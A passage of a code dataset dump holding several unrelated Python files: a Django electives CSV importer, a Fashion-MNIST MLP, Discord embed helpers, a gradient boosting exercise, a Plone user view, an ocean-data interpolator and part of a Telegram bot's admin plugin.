english_description\n    elective.save()\n\n    for kind, semester, lang in product(kinds, semesters, languages):\n        credit_units_kind, _ = CreditUnitsKind.objects.get_or_create(\n            short_name=kind,\n        )\n        elective_kind, _ = ElectiveKind.objects.get_or_create(\n            language=lang,\n            credit_units_kind=credit_units_kind,\n            semester=semester,\n        )\n        kind_of_elective, _ = KindOfElective.objects.get_or_create(\n            elective=elective,\n            kind=elective_kind,\n        )\n        kind_of_elective.exam_possibility = credit_units_kind.default_exam_possibility\n        kind_of_elective.save()\n\n    return elective, ''\n\n\ndef delete_old_electives(updated_codenames: list[str]):\n    Elective.objects.exclude(codename__in=updated_codenames).delete()\n\n\ndef parse_elective_table(fin):\n    reader = csv.DictReader(fin)\n\n    codenames: list[str] = []\n    report = []\n    for row in reader:\n        elective, report_messages = parse_row(row)\n        if report_messages != '':\n            report.append(report_messages)\n        if elective is not None:\n            codenames.append(elective.codename)\n    delete_old_electives(codenames)\n    return report\n\n\ndef run_with_local_table(path: str):\n    with open(path, 'r', encoding='utf-8') as fin:\n        parse_elective_table(fin)\n", "repo_name": "tamarinvs19/choosing_electives", "sub_path": "apps/parsing/table_parsing.py", "file_name": "table_parsing.py", "file_ext": "py", "file_size_in_byte": 5768, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "random.choices", "line_number": 14, "usage_type": "call"}, {"api_name": "string.ascii_letters", "line_number": 14, "usage_type": "attribute"}, {"api_name": "apps.electives.models.ElectiveThematic.objects.get_or_create", "line_number": 34, "usage_type": "call"}, {"api_name": "apps.electives.models.ElectiveThematic.objects", "line_number": 34, "usage_type": "attribute"}, {"api_name": "apps.electives.models.ElectiveThematic", "line_number": 34, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 60, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 61, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 62, "usage_type": "call"}, {"api_name": "apps.electives.models.ElectiveThematic.objects.get_or_create", "line_number": 116, "usage_type": "call"}, {"api_name": "apps.electives.models.ElectiveThematic.objects", "line_number": 116, "usage_type": "attribute"}, {"api_name": "apps.electives.models.ElectiveThematic", "line_number": 116, "usage_type": "name"}, {"api_name": "apps.electives.models.Elective.objects.get_or_create", "line_number": 124, "usage_type": "call"}, {"api_name": "apps.electives.models.Elective.objects", "line_number": 124, "usage_type": "attribute"}, {"api_name": "apps.electives.models.Elective", "line_number": 124, "usage_type": "name"}, {"api_name": "itertools.product", "line_number": 135, "usage_type": "call"}, {"api_name": "apps.electives.models.CreditUnitsKind.objects.get_or_create", "line_number": 136, "usage_type": "call"}, {"api_name": "apps.electives.models.CreditUnitsKind.objects", "line_number": 136, "usage_type": "attribute"}, {"api_name": "apps.electives.models.CreditUnitsKind", "line_number": 136, "usage_type": "name"}, {"api_name": "apps.electives.models.ElectiveKind.objects.get_or_create", "line_number": 139, "usage_type": "call"}, {"api_name": "apps.electives.models.ElectiveKind.objects", "line_number": 139, "usage_type": "attribute"}, {"api_name": "apps.electives.models.ElectiveKind", "line_number": 139, "usage_type": "name"}, {"api_name": "apps.electives.models.KindOfElective.objects.get_or_create", "line_number": 144, "usage_type": "call"}, {"api_name": "apps.electives.models.KindOfElective.objects", "line_number": 144, "usage_type": "attribute"}, {"api_name": "apps.electives.models.KindOfElective", "line_number": 144, "usage_type": "name"}, {"api_name": "apps.electives.models.Elective.objects.exclude", "line_number": 155, "usage_type": "call"}, {"api_name": "apps.electives.models.Elective.objects", "line_number": 155, "usage_type": "attribute"}, {"api_name": "apps.electives.models.Elective", "line_number": 155, "usage_type": "name"}, {"api_name": "csv.DictReader", "line_number": 159, "usage_type": "call"}]}
{"seq_id": "32299891852", "text": "import torch\nfrom torch import nn\n\nfrom utils import (basename_noext, get_fashion_mnist_labels,\n                   kmp_duplicate_lib_ok, load_data_fashion_mnist, predict,\n                   savefig, train_ani)\n\nkmp_duplicate_lib_ok()\ntorch.set_printoptions(linewidth=120)\n\ndef main():\n    batch_size = 256\n    num_epochs = 10\n    lr = 0.1\n\n    train_dataloader, test_dataloader = load_data_fashion_mnist(batch_size)\n\n    net = nn.Sequential(nn.Flatten(),\n                        nn.Linear(784, 256, device=\"cuda\"),\n                        nn.ReLU(),\n                        nn.Linear(256, 10, device=\"cuda\"))\n\n    def init_weights(m):\n        if isinstance(m, nn.Linear):\n            nn.init.normal_(m.weight, std=0.01)\n            nn.init.zeros_(m.bias)\n\n    net.apply(init_weights)\n\n    loss = nn.CrossEntropyLoss(reduction='none')\n    trainer = torch.optim.SGD(net.parameters(), lr=lr)\n\n    train_ani(net, train_dataloader, test_dataloader, loss, num_epochs, trainer, \"cuda\")\n\n    savefig(f'out/{basename_noext(__file__)}_train.png')\n\n    predict(net, test_dataloader, 18, \"cuda\")\n\n    savefig(f'out/{basename_noext(__file__)}_pred.png')\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "dennischen/aimpi", "sub_path": "mlp_concise.py", "file_name": "mlp_concise.py", "file_ext": "py", "file_size_in_byte": 1181, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "utils.kmp_duplicate_lib_ok", "line_number": 8, "usage_type": "call"}, {"api_name": "torch.set_printoptions", "line_number": 9, "usage_type": "call"}, {"api_name": "utils.load_data_fashion_mnist", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.nn.Flatten", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 24, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.nn.init.normal_", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 25, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.nn.init.zeros_", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 26, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 31, "usage_type": "attribute"}, {"api_name": "utils.train_ani", "line_number": 33, "usage_type": "call"}, {"api_name": "utils.savefig", "line_number": 35, "usage_type": "call"}, {"api_name": "utils.basename_noext", "line_number": 35, "usage_type": "call"}, {"api_name": "utils.predict", "line_number": 37, "usage_type": "call"}, {"api_name": "utils.savefig", "line_number": 39, "usage_type": "call"}, {"api_name": "utils.basename_noext", "line_number": 39, "usage_type": "call"}]}
{"seq_id": "5077753498", "text": "import discord\n\n# Embeds\n\n# Embed for positive search results\nasync def ResultLinkEmbed (client, title, content, link, channel):\n    embed = discord.Embed(title = title, url = link, description = content, color = discord.Color.green())\n    embed.set_author(name = 'I found a result!')\n\n    await client.send_message(channel, embed = embed)\n\n# Embed for when an urban dictionary result is found. This needs a custom template\nasync def UrbanEmbed (client, word, definition, example, upvotes, downvotes, channel):\n    embed = discord.Embed(color = discord.Color.green())\n    embed.set_author(name = 'I found a result')\n    embed.add_field(name = 'Searched word:', value = word, inline = False)\n    embed.add_field(name = 'Definition:', value = definition, inline = False)\n    embed.add_field(name = 'Usage Example:', value = example, inline = False)\n    embed.add_field(name = 'Rating:', value = '👍{}    👎{}'.format(upvotes, downvotes), inline = False)\n\n    await client.send_message(channel, embed = embed)\n\n# Embed for the error: Specify Error (When you don't specify what you wanna search for)\nasync def SpecifyErrorEmbed (client, channel):\n    embed = discord.Embed(title = 'Specify Search', description = 'Please specify what you wanna search for!', color = discord.Color.red())\n    embed.set_author(name = 'Command Error')\n\n    await client.send_message(channel, embed = embed)\n\n# Embed for the error : Unknown Error (When no one knows the error)\nasync def UnknownErrorEmbed (client, channel):\n    embed = discord.Embed(title = 'Something went wrong..', description = 'Whoops! Looks like something went wrong.', color = discord.Color.red())\n    embed.set_author(name = 'Command Error')\n\n    await client.send_message(channel, embed = embed)\n\n# Embed for a custom error. This can be anything\nasync def CustomErrorEmbed (client, title, errorTitle, error, channel):\n    embed = discord.Embed(title = errorTitle, description = error, color = discord.Color.red())\n    embed.set_author(name = title)\n\n    await client.send_message(channel, embed = embed)\n\n# Embed for announcement messages\nasync def AnnouncementEmbed (client, title, message, channel):\n    embed = discord.Embed(title = title, description = message, color = 0x2a2a2a)\n\n    await client.send_message(channel, embed = embed)\n\n# Embed for the help message. This needs a custom template (Maybe make a JSON file later and make it read it)\nasync def HelpEmbed (client, channel):\n    embed = discord.Embed(color = discord.Color.purple())\n    embed.set_author(name = 'Help')\n    embed.add_field(name = '!help', value = 'Shows the commands', inline = False)\n    embed.add_field(name = '!rules', value = 'Shows the rules', inline = False)\n    embed.add_field(name = '!about', value = 'Sends a message explaining about the bot', inline = False)\n    embed.add_field(name = '!urban [Search]', value = 'Searches Urban Dictionary for the search item', inline = False)\n    embed.add_field(name = '!google [Search]', value = 'Searches Google for the search item [Not working atm]', inline = False)\n    embed.add_field(name = '!wiki [Search]', value = 'Searches Wikipedia for the search item', inline = False)\n    embed.add_field(name = '!stack [Search]', value = 'Searches Stackoveflow for the search item [Not working atm]', inline = False)\n    embed.add_field(name = '!manual [Search]', value = 'Searches Unity Manual for the search item', inline = False)\n    embed.add_field(name = '!script [Search]', value = 'Searches Unity Script API for the search item', inline = False)\n    embed.add_field(name = '!role [Role]', value = 'Use this command to add a role to yourself', inline = False)\n    embed.add_field(name = '!roles', value = 'Shows you all the roles you can join', inline = False)\n\n# Embed for other embed messages. This can be anything\nasync def OtherEmbed (client, title, messageTitle, message, color, channel):\n    embed = discord.Embed(title = messageTitle, description = message, color = color)\n    embed.set_author(name = title)\n\n    await client.send_message(channel, embed = embed)\n", "repo_name": "Dmunch04/sam-search-bot", "sub_path": "Helpers/EmbedHelper.py", "file_name": "EmbedHelper.py", "file_ext": "py", "file_size_in_byte": 4054, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "discord.Embed", "line_number": 7, "usage_type": "call"}, {"api_name": "discord.Color.green", "line_number": 7, "usage_type": "call"}, {"api_name": "discord.Color", "line_number": 7, "usage_type": "attribute"}, {"api_name": "discord.Embed", "line_number": 14, "usage_type": "call"}, {"api_name": "discord.Color.green", "line_number": 14, "usage_type": "call"}, {"api_name": "discord.Color", "line_number": 14, "usage_type": "attribute"}, {"api_name": "discord.Embed", "line_number": 25, "usage_type": "call"}, {"api_name": "discord.Color.red", "line_number": 25, "usage_type": "call"}, {"api_name": "discord.Color", "line_number": 25, "usage_type": "attribute"}, {"api_name": "discord.Embed", "line_number": 32, "usage_type": "call"}, {"api_name": "discord.Color.red", "line_number": 32, "usage_type": "call"}, {"api_name": "discord.Color", "line_number": 32, "usage_type": "attribute"}, {"api_name": "discord.Embed", "line_number": 39, "usage_type": "call"}, {"api_name": "discord.Color.red", "line_number": 39, "usage_type": "call"}, {"api_name": "discord.Color", "line_number": 39, "usage_type": "attribute"}, {"api_name": "discord.Embed", "line_number": 46, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 52, "usage_type": "call"}, {"api_name": "discord.Color.purple", "line_number": 52, "usage_type": "call"}, {"api_name": "discord.Color", "line_number": 52, "usage_type": "attribute"}, {"api_name": "discord.Embed", "line_number": 68, "usage_type": "call"}]}
{"seq_id": "19255110670", "text": "# Композиция алгоритмов\n# Градиентный бустинг\n# Подбор гиперпараметров\n\nimport matplotlib.pyplot as plot\nimport numpy as np\nimport pandas\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import GradientBoostingClassifier, RandomForestClassifier\nfrom sklearn.metrics import log_loss\n\nfrom source import create_answer_file\n\n\ndef log_loss_results(model, X, y):\n    # staged_decision_function - для предсказания качества\n    # на обучающей и тестовой выборке на каждой итерации.\n    return [\n        log_loss(y, [1.0 / (1.0 + np.exp(-y_pred)) for y_pred in pred])\n        for pred in model.staged_decision_function(X)\n    ]\n\n\ndef create_plots(learning_rate, test_loss, train_loss):\n    # График значений log-loss на обучающей и тестовой выборках.\n    plot.figure()\n    plot.plot(test_loss, 'r', linewidth=2)\n    plot.plot(train_loss, 'g', linewidth=2)\n    plot.legend(['test', 'train'])\n    plot.savefig('../images/rate_' + str(learning_rate) + '.png')\n\n\ndef get_min_loss(test_loss):\n    # Минимальное значение метрики и номер итерации, на которой оно достигается.\n    min_loss_value = min(test_loss)\n    min_loss_index = test_loss.index(min_loss_value)\n    return min_loss_value, min_loss_index\n\n\ndef model_test(learning_rate):\n    model = GradientBoostingClassifier(learning_rate=learning_rate, n_estimators=250,\n                                       verbose=True, random_state=241)\n    model.fit(X_train, y_train)\n\n    train_loss = log_loss_results(model, X_train, y_train)\n    test_loss = log_loss_results(model, X_test, y_test)\n    create_plots(learning_rate, test_loss, train_loss)\n    return get_min_loss(test_loss)\n\n\ndata = pandas.read_csv(r'..\\data\\gbm-data.csv')\nX = data.loc[:, 'D1':'D1776'].values\ny = data['Activity'].values\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.8, random_state=241)\n\nmin_loss_results = {\n    learning_rate: model_test(learning_rate)\n    for learning_rate in [1, 0.5, 0.3, 0.2, 0.1]\n}\n\n# переобучение (overfitting) или недообучение (underfitting) - определяется по графикам\ncreate_answer_file('w5_2.txt', 'overfitting')\n\n# минимальное значение log-loss и номер итерации,\n# на котором оно достигается, при learning_rate = 0.2.\nmin_loss_value, min_loss_index = min_loss_results[0.2]\ncreate_answer_file('w5_3.txt', '{:0.2f} {}'.format(min_loss_value, min_loss_index))\n\n# RandomForestClassifier с количеством деревьев, равным количеству итераций, на котором\n# достигается наилучшее качество у градиентного бустинга\nmodel = RandomForestClassifier(n_estimators=min_loss_index, random_state=241)\nmodel.fit(X_train, y_train)\n\ntest_loss = log_loss(y_test, model.predict_proba(X_test)[:, 1])\ncreate_answer_file('w5_4.txt', f'{test_loss}')\n", "repo_name": "RasselJohn/ML", "sub_path": "source/week_5_part_2.py", "file_name": "week_5_part_2.py", "file_ext": "py", "file_size_in_byte": 3154, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sklearn.metrics.log_loss", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "sklearn.ensemble.GradientBoostingClassifier", "line_number": 41, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 51, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 54, "usage_type": "call"}, {"api_name": "source.create_answer_file", "line_number": 62, "usage_type": "call"}, {"api_name": "source.create_answer_file", "line_number": 67, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 71, "usage_type": "call"}, {"api_name": "sklearn.metrics.log_loss", "line_number": 74, "usage_type": "call"}, {"api_name": "source.create_answer_file", "line_number": 75, "usage_type": "call"}]}
{"seq_id": "30781262930", "text": "from Products.Five.browser import BrowserView\nfrom Products.CMFCore.utils import getToolByName\nfrom plone import api\nimport logging\n\n\nlogger = logging.getLogger(\".SetEditor\")\n\n\nclass SetEditor(BrowserView):\n    def __call__(self):\n\n       #get facebook's users account\n        acl_users = api.portal.get_tool(name='acl_users')\n        cs_facebook_users = getattr(acl_users, 'cs-facebook-users', '')\n        facebookUsers = cs_facebook_users.enumerateUsers()\n        users = list()\n        for fbUser in facebookUsers:\n            users.append(fbUser['id'])\n\n        for userId in users:\n            user = api.user.get(userid=userId)\n#            user.setMemberProperties({'wysiwyg_editor': ''})\n\n\n\n#        import pdb; pdb.set_trace()\n#        members = api.user.get_users()\n#        for member in members:\n#            import pdb; pdb.set_trace()\n#            if len(member.getRoles()) < 2 or 'Member' not in member.getRoles():\n#                logger.error('id: %s , has a wrong roles setting.' % member.id)\n#                member.setMemberProperties({'wysiwyg_editor': 'CKeditor'})\n#                continue\n#            if len(member.getRoles()) == 2:\n#                member.setMemberProperties({'wysiwyg_editor': 'CKeditor'})\n#            else:\n#            member.setMemberProperties({'wysiwyg_editor': 'TinyMCE'})\n#            member.wysiwyg_editor = \"TinyMCE\"\n            logger.info('%s : %s : %s\\n' % (user.id,\n                                            user.getProperty('wysiwyg_editor', None),\n                                            str(user.getRoles())))\n", "repo_name": "mingtak/tbfac.content_forTaishin", "sub_path": "tbfac/content/browser/seteditor.py", "file_name": "seteditor.py", "file_ext": "py", "file_size_in_byte": 1577, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 7, "usage_type": "call"}, {"api_name": "Products.Five.browser.BrowserView", "line_number": 10, "usage_type": "name"}, {"api_name": "plone.api.portal.get_tool", "line_number": 14, "usage_type": "call"}, {"api_name": "plone.api.portal", "line_number": 14, "usage_type": "attribute"}, {"api_name": "plone.api", "line_number": 14, "usage_type": "name"}, {"api_name": "plone.api.user.get", "line_number": 22, "usage_type": "call"}, {"api_name": "plone.api.user", "line_number": 22, "usage_type": "attribute"}, {"api_name": "plone.api", "line_number": 22, "usage_type": "name"}]}
{"seq_id": "73334655271", "text": "import os\nimport sys\nfrom pylab import *\nimport numpy as np\nimport netCDF4\nfrom scipy.spatial import cKDTree\n\nclass woa():\n\n  def __init__(self,ncfile='woa13_devac_04v2.nc',tidx=0):\n    nc = netCDF4.Dataset(ncfile)\n    sv = nc.variables\n    latslice=slice(173,262)\n    lonslice=slice(320,524)\n    latslice=slice(None,None)\n    lonslice=slice(None,None)\n    self.lon = sv['lon'][lonslice]\n    self.lat = sv['lat'][latslice]\n    self.d = -sv['depth'][:]\n    self.time = sv['time'][:]\n    self.tidx = tidx\n    self.s = sv['s_mn'][:,:,latslice,lonslice]\n    self.t = sv['t_mn'][:,:,latslice,lonslice]\n    self.lon2,self.lat2 = meshgrid(self.lon,self.lat)\n\n    self.use_depth_slices=True\n\n    if not(self.use_depth_slices):\n      self.d3,self.lat3,self.lon3 = meshgrid(self.d,self.lat*100.,self.lon*100.,indexing='ij')\n      vlon3 = self.lon3[where(self.s.mask[self.tidx]==False)]\n      vlat3 = self.lat3[where(self.s.mask[self.tidx]==False)]\n      vd3 = self.d3[where(self.s.mask[self.tidx]==False)]\n      self.s_tree=cKDTree(zip(vlon3,vlat3,vd3))\n\n      vlon3 = self.lon3[where(self.t.mask[self.tidx]==False)]\n      vlat3 = self.lat3[where(self.t.mask[self.tidx]==False)]\n      vd3 = self.d3[where(self.t.mask[self.tidx]==False)]\n      self.t_tree=cKDTree(zip(vlon3,vlat3,vd3))\n\n      self.s_var = self.s[self.tidx][where(self.s.mask[self.tidx]==False)].flatten()\n      self.t_var = self.t[self.tidx][where(self.t.mask[self.tidx]==False)].flatten()\n\n    else:\n      #build trees\n      self.s_tree={}\n      self.t_tree={}\n      self.svar={}\n      self.tvar={}\n      for ik,d in enumerate(self.d):\n        #print('  build trees for depth %0.2f'%d)\n        vlon = self.lon2[where(self.s.mask[self.tidx,ik]==False)]\n        vlat = self.lat2[where(self.s.mask[self.tidx,ik]==False)]\n        self.s_tree[ik] = cKDTree(zip(vlon,vlat))\n        vlon = self.lon2[where(self.t.mask[self.tidx,ik]==False)]\n        vlat = self.lat2[where(self.t.mask[self.tidx,ik]==False)]\n        self.t_tree[ik] = cKDTree(zip(vlon,vlat))\n        self.svar[ik] = self.s[self.tidx,ik][where(self.s.mask[self.tidx,ik]==False)].flatten()\n        self.tvar[ik] = self.t[self.tidx,ik][where(self.t.mask[self.tidx,ik]==False)].flatten()\n\n  def interpolate(self,depths,nodelon,nodelat,bidx=1,tidx=0):\n    # start\n    t = zeros((len(depths),))\n    s = zeros((len(depths),))\n\n\n    for ik,ndepth in enumerate(depths[bidx-1:]):\n      # find vertical layer in climatology\n      if self.use_depth_slices:\n        didx = np.abs(self.d - ndepth).argmin()\n\n      #didx = int(where(ddiff==ddiff.min())[0][0])\n      #vlon = self.lon2[where(self.s.mask[self.tidx,didx]==False)]\n      #vlat = self.lat2[where(self.s.mask[self.tidx,didx]==False)]\n      #tree = cKDTree(zip(vlon,vlat))\n    \n      #svar = self.s[self.tidx,didx][where(self.s.mask[self.tidx,didx]==False)].flatten()\n      #tvar = self.t[self.tidx,didx][where(self.t.mask[self.tidx,didx]==False)].flatten()\n\n        dist,inds = self.s_tree[didx].query((nodelon,nodelat),k=4)\n        w = 1 / dist\n        s[bidx-1+ik] = np.sum(w*self.svar[didx][inds],axis=0) / np.sum(w,axis=0)\n\n        dist,inds = self.t_tree[didx].query((nodelon,nodelat),k=4)\n        w = 1 / dist\n        t[bidx-1+ik] = np.sum(w*self.tvar[didx][inds],axis=0) / np.sum(w,axis=0)\n      else:\n        dist,inds = self.s_tree.query((nodelon*100.,nodelat*100.,ndepth))\n        w = 1 / dist\n        s[bidx-1+ik] = np.sum(w*self.s_var[inds],axis=0) / np.sum(w,axis=0)\n\n        dist,inds = self.t_tree.query((nodelon*100.,nodelat*100.,ndepth))\n        w = 1 / dist\n        t[bidx-1+ik] = np.sum(w*self.t_var[inds],axis=0) / np.sum(w,axis=0)\n\n    return (t.astype(np.float32),s.astype(np.float32))\n\n\nif __name__=='__main__':\n\n  #oa = woa(ncfile=sys.argv[1])\n  oa = woa(ncfile='/work/gg0877/KST/MiMeMo/woa/woa_arctic_0.25.nc')\n\n  depths=asarray([-5000.,-4000.,-3000.,-2000.,-1000.,-500.,-250.,-100.,0.0])\n  nodelon=40.0\n  nodelat=70.0\n\n  t,s = oa.interpolate(depths,nodelon,nodelat,bidx=1)\n  print('temp:')\n  print(t)\n  print('salt:')\n  print(s)\n", "repo_name": "hofmeist/schism-setups", "sub_path": "arctic/scripts/woadata.py", "file_name": "woadata.py", "file_ext": "py", "file_size_in_byte": 4015, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "netCDF4.Dataset", "line_number": 11, "usage_type": "call"}, {"api_name": "scipy.spatial.cKDTree", "line_number": 33, "usage_type": "call"}, {"api_name": "scipy.spatial.cKDTree", "line_number": 38, "usage_type": "call"}, {"api_name": "scipy.spatial.cKDTree", "line_number": 53, "usage_type": "call"}, {"api_name": "scipy.spatial.cKDTree", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 95, "usage_type": "attribute"}]}
{"seq_id": "22295746784", "text": "import asyncio\nfrom datetime import datetime\n\nfrom telethon.errors import BadRequestError, FloodWaitError, ForbiddenError\n\nfrom userbot import catub\n\nfrom ..Config import Config\nfrom ..core.logger import logging\nfrom ..core.managers import edit_delete, edit_or_reply\nfrom ..helpers import reply_id, time_formatter\nfrom ..helpers.utils import _format\nfrom ..sql_helper.bot_blacklists import check_is_black_list, get_all_bl_users\nfrom ..sql_helper.bot_starters import del_starter_from_db, get_all_starters\nfrom ..sql_helper.globals import addgvar, delgvar, gvarstatus\nfrom . import BOTLOG, BOTLOG_CHATID\nfrom .botmanagers import (\n    ban_user_from_bot,\n    get_user_and_reason,\n    progress_str,\n    unban_user_from_bot,\n)\n\nLOGS = logging.getLogger(__name__)\n\nplugin_category = \"bot\"\nbotusername = Config.TG_BOT_USERNAME\ncmhd = Config.COMMAND_HAND_LER\n\n\n@catub.bot_cmd(pattern=\"^/help$\", from_users=Config.OWNER_ID)\nasync def bot_help(event):\n    await event.reply(\n        f\"\"\"دستورات موجود در ربات عبارتند از:\n**توجه : **__این دستورات فقط در این ربات کار می کنند__ {botusername}\n\n• **دستور : **/uinfo \n• **اطلاعات : **__متوجه شده‌اید که استیکرها/اموجی‌های فوروارد شده دارای برچسب فوروارد نیستند، بنابراین می‌توانید کاربری را که آن پیام‌ها را با این دستور ارسال کرده است شناسایی کنید.__\n• **توجه : **__برای همه پیام های فوروارد شده کار می کند. حتی برای کاربرانی که به هیچ کس اجازه ارسال پیام نمی دهند.__\n\n• **دستور : **/ban  or /ban  \n• **اطلاعات : **__به یک پیام کاربر با دلیل پاسخ دهید تا از آنجایی که شما از ربات منع شده اید به او اطلاع داده می شود و پیام های او بیشتر برای شما ارسال نمی شود.__\n• **توجه : **__بدون ارسال دلیل کار نخواهد کرد __\n\n• **دستور : **/unban  or /unban \n• **اطلاعات : **__به پیام کاربر پاسخ دهید یا نام کاربری/کاربر را برای لغو بن از ربات ارائه دهید.__\n• **توجه : **__برای بررسی لیست کاربران بن شده استفاده کنید__ `{cmhd}bblist`.\n\n• **دستور : **/broadcast\n• **اطلاعات : **__به یک پیام پاسخ دهید تا برای هر کاربری که ربات شما را راه اندازی کرده است پخش شود. برای دریافت لیست کاربران استفاده کنید__ `{cmhd}bot_users`.\n• **توجه : **__اگر کاربر ربات را متوقف/بلاک کرد، از پایگاه داده شما حذف خواهد شد که از لیست bot_starters پاک خواهد شد.__\n\"\"\"\n    )\n\n\n@catub.bot_cmd(pattern=\"^/broadcast$\", from_users=Config.OWNER_ID)\nasync def bot_broadcast(event):\n    replied = await event.get_reply_message()\n    if not replied:\n        return await event.reply(\"ابتدا به پیامی برای پخش پاسخ دهید!\")\n    start_ = datetime.now()\n    br_cast = await replied.reply(\"Broadcasting ...\")\n    blocked_users = []\n    count = 0\n    bot_users_count = len(get_all_starters())\n    if bot_users_count == 0:\n        return await event.reply(\"`هنوز کسی ربات شما را راه اندازی نکرده است.`\")\n    users = get_all_starters()\n    if users is None:\n        return await event.reply(\"`هنگام دریافت کاربران خطاهایی رخ داد.`\")\n    for user in users:\n        try:\n            await event.client.send_message(\n                int(user.user_id), \"🔊شما یک پیام **جدید**پخش کرده اید\"\n            )\n            await event.client.send_message(int(user.user_id), replied)\n            await asyncio.sleep(0.8)\n        except FloodWaitError as e:\n            await asyncio.sleep(e.seconds)\n        except (BadRequestError, ValueError, ForbiddenError):\n            del_starter_from_db(int(user.user_id))\n        except Exception as e:\n            LOGS.error(str(e))\n            if BOTLOG:\n                await event.client.send_message(\n                    BOTLOG_CHATID, f\"**خطا هنگام پخش❌**\\n`{e}`\"\n                )\n\n        else:\n            count += 1\n            if count % 5 == 0:\n                try:\n                    prog_ = (\n                        \"🔊 Broadcasting ...\\n\\n\"\n                        + progress_str(\n                            total=bot_users_count,\n                            current=count + len(blocked_users),\n                        )\n                        + f\"\\n\\n• ✔️ **موفق** :  `{count}`\\n\"\n                        + f\"• ✖️ **ناموفق** :  `{len(blocked_users)}`\"\n                    )\n                    await br_cast.edit(prog_)\n                except FloodWaitError as e:\n                    await asyncio.sleep(e.seconds)\n    end_ = datetime.now()\n    b_info = f\"🔊 پیام با موفقیت پخش شد ➜  {count} users.\"\n    if len(blocked_users) != 0:\n        b_info += f\"\\n🚫  {len(blocked_users)} users اخیرا ربات شما را مسدود کرده است، بنابراین حذف شده اند.\"\n    b_info += (\n        f\"\\n⏳  فرآیند انجام شد: {time_formatter((end_ - start_).seconds)}.\"\n    )\n    await br_cast.edit(b_info, parse_mode=\"html\")\n\n\n@catub.cat_cmd(\n    pattern=\"bot_users$\",\n    command=(\"bot_users\", plugin_category),\n    info={\n        \"header\": \"To get users list who started bot.\",\n        \"description\": \"To get compelete list of users who started your bot\",\n        \"usage\": \"{tr}bot_users\",\n    },\n)\nasync def ban_starters(event):\n    \"To get list of users who started bot.\"\n    ulist = get_all_starters()\n    if len(ulist) == 0:\n        return await edit_delete(event, \"`هنوز کسی ربات شما را راه اندازی نکرده است.`\")\n    msg = \"**The list of users who started your bot are :\\n\\n**\"\n    for user in ulist:\n        msg += f\"• 👤 {_format.mentionuser(user.first_name , user.user_id)}\\n**ایدی:** `{user.user_id}`\\n**نام:** @{user.username}\\n**تاریخ: **__{user.date}__\\n\\n\"\n    await edit_or_reply(event, msg)\n\n\n@catub.bot_cmd(pattern=\"^/ban\\\\s+([\\\\s\\\\S]*)\", from_users=Config.OWNER_ID)\nasync def ban_botpms(event):\n    user_id, reason = await get_user_and_reason(event)\n    reply_to = await reply_id(event)\n    if not user_id:\n        return await event.client.send_message(\n            event.chat_id, \"`من 